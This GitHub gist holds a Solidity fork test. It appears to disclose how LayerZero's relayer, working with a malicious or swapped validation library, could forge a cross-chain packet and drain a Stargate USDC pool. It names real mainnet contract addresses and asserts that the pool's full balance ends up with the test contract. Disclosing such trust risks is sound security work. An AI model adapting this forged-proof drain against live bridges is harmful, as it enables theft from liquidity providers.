Last active
April 1, 2024 19:09
-
-
Save trayvox/fc7c3c73c4f4d36ad24437c3c6f628e1 to your computer and use it in GitHub Desktop.
Example to show how LayerZero can rug all LP's if unverified contracts are malicious
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: UNLICENSED | |
pragma solidity 0.8.10; | |
import {ERC20, SafeTransferLib} from "solmate/utils/SafeTransferLib.sol"; | |
import {DSTestPlus} from "solmate/test/utils/DSTestPlus.sol"; | |
struct Packet { | |
uint16 srcChainId; | |
uint16 dstChainId; | |
uint64 nonce; | |
address dstAddress; | |
bytes srcAddress; | |
bytes32 ulnAddress; | |
bytes payload; | |
} | |
interface IUltraLightNode { | |
function validateTransactionProof( | |
uint16 _srcChainId, | |
address _dstAddress, | |
uint256 _gasLimit, | |
bytes32 _lookupHash, | |
bytes calldata _transactionProof | |
) external; | |
struct BlockData { | |
uint256 confirmations; | |
bytes32 data; | |
} | |
function hashLookup( | |
address, | |
uint16, | |
bytes32 | |
) external view returns (BlockData memory); | |
function updateHash( | |
uint16 _srcChainId, | |
bytes32 _lookupHash, | |
uint256 _confirmations, | |
bytes32 _data | |
) external; | |
function ulnLookup(uint16) external view returns (bytes32); | |
} | |
interface IEndpoint { | |
function inboundNonce(uint16, bytes memory) external view returns (uint64); | |
function receivePayload( | |
uint16 _srcChainId, | |
bytes calldata _srcAddress, | |
address _dstAddress, | |
uint64 _nonce, | |
uint256 _gasLimit, | |
bytes calldata _payload | |
) external; | |
} | |
interface IRouter { | |
function swapRemote( | |
uint16 _srcChainId, | |
bytes memory _srcAddress, | |
uint256 _nonce, | |
uint256 _srcPoolId, | |
uint256 _dstPoolId, | |
uint256 _dstGasForCall, | |
address _to, | |
IPool.SwapObj memory _s, | |
bytes memory _payload | |
) external; | |
} | |
interface IBridge { | |
function bridgeLookup(uint16) external view returns (bytes memory); | |
function lzReceive( | |
uint16 _srcChainId, | |
bytes memory _srcAddress, | |
uint64 _nonce, | |
bytes memory _payload | |
) external; | |
} | |
interface IPool { | |
struct SwapObj { | |
uint256 amount; | |
uint256 eqFee; | |
uint256 eqReward; | |
uint256 lpFee; | |
uint256 protocolFee; | |
uint256 lkbRemove; | |
} | |
struct CreditObj { | |
uint256 credits; | |
uint256 idealBalance; | |
} | |
function swapRemote( | |
uint16 _srcChainId, | |
uint256 _srcPoolId, | |
address _to, | |
SwapObj memory _s | |
) external returns (uint256 amountLD); | |
function token() external view returns (address); | |
function chainPathIndexLookup(uint16, uint256) | |
external | |
view | |
returns (uint256); | |
} | |
contract MaliciousValidation { | |
Packet public packet; | |
function setPacket( | |
uint16 srcChainId, | |
uint16 dstChainId, | |
uint64 nonce, | |
address dstAddress, | |
bytes memory srcAddress, | |
bytes32 ulnAddress, | |
bytes memory payload | |
) public { | |
packet = Packet( | |
srcChainId, | |
dstChainId, | |
nonce, | |
dstAddress, | |
srcAddress, | |
ulnAddress, | |
payload | |
); | |
} | |
function validateProof( | |
bytes32 blockData, | |
bytes calldata _data, | |
uint256 _remoteAddressSize | |
) external returns (Packet memory) { | |
return packet; | |
} | |
} | |
contract L0 is DSTestPlus { | |
address internal constant ENDPOINT = | |
address(0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675); | |
address internal constant ROUTER = | |
address(0x8731d54E9D02c286767d56ac03e8037C07e01e98); | |
address internal constant BRIDGE = | |
address(0x296F55F8Fb28E498B858d0BcDA06D955B2Cb3f97); | |
address internal constant POOL = | |
address(0xdf0770dF86a8034b3EFEf0A1Bb3c889B8332FF56); | |
address internal constant ULTRA_LIGHT_NODE = | |
address(0x5B19bd330A84c049b62D5B0FC2bA120217a18C1C); | |
address internal constant ORACLE = | |
address(0x41c69c8ffb4049fc393ed68Ec0Ce66c37f8CF7a0); | |
address internal constant RELAYER = | |
address(0xcb566e3B6934Fa77258d68ea18E931fa75e1aaAa); | |
address internal constant VALIDATION_LIB = | |
address(0xe9AE261D3aFf7d3fCCF38Fa2d612DD3897e07B2d); | |
function run() public { | |
// Assume that RELAYER is malicious contract (proxy contract), allow "pranks" as | |
// we can make it do whatever we want anyway | |
// validation library can either be malicious, or just updated to a malicious by multisig | |
emit log( | |
"Draining the pool assuming unverified contracts are malicious" | |
); | |
MaliciousValidation temp = new MaliciousValidation(); | |
hevm.etch(VALIDATION_LIB, address(temp).code); | |
MaliciousValidation validation = MaliciousValidation(VALIDATION_LIB); | |
ERC20 token = ERC20(IPool(POOL).token()); | |
emit log_named_decimal_uint("USDC in pool", token.balanceOf(POOL), 6); | |
uint256 balanceBefore = token.balanceOf(address(this)); | |
uint256 dstPoolId = 1; | |
uint16 srcChainId = 10; | |
bytes memory srcAddress = IBridge(BRIDGE).bridgeLookup(srcChainId); | |
uint64 nonce = uint64( | |
IEndpoint(ENDPOINT).inboundNonce(srcChainId, srcAddress) | |
); | |
bytes32 hash = bytes32( | |
0xed33a1424055b2ec718d16e5a540e0a2f5d868f37a50d5cb6d88d3f06420aa0d | |
); | |
IPool.SwapObj memory swapData = IPool.SwapObj({ | |
amount: token.balanceOf(POOL), | |
eqFee: 0, | |
eqReward: 0, | |
lpFee: 0, | |
protocolFee: 0, | |
lkbRemove: 0 | |
}); | |
bytes memory payload = abi.encode( | |
uint8(1), // type | |
uint256(0), // src pool id, | |
dstPoolId, | |
uint256(0), | |
IPool.CreditObj(0, 0), | |
swapData, | |
abi.encodePacked(address(this)), // to | |
bytes("") | |
); | |
emit log("Relayer update the value returned by the 'validation'"); | |
validation.setPacket( | |
srcChainId, | |
0, | |
nonce + 1, | |
BRIDGE, // dstAddress | |
srcAddress, | |
IUltraLightNode(ULTRA_LIGHT_NODE).ulnLookup(srcChainId), | |
payload | |
); | |
emit log("Relayer drains the pool on eth"); | |
hevm.startPrank(RELAYER); | |
IUltraLightNode(ULTRA_LIGHT_NODE).validateTransactionProof( | |
srcChainId, //_srcChainId, | |
BRIDGE, //_dstAddress, | |
2e6, // _gasLimit, | |
hash, // _lookupHash | |
bytes("") // _transactionProof | |
); | |
emit log_named_decimal_uint("USDC in pool", token.balanceOf(POOL), 6); | |
emit log_named_decimal_uint( | |
"USDC Profit", | |
token.balanceOf(address(this)) - balanceBefore, | |
6 | |
); | |
assertEq( | |
token.balanceOf(address(this)) - balanceBefore, | |
swapData.amount, | |
"No Profit" | |
); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment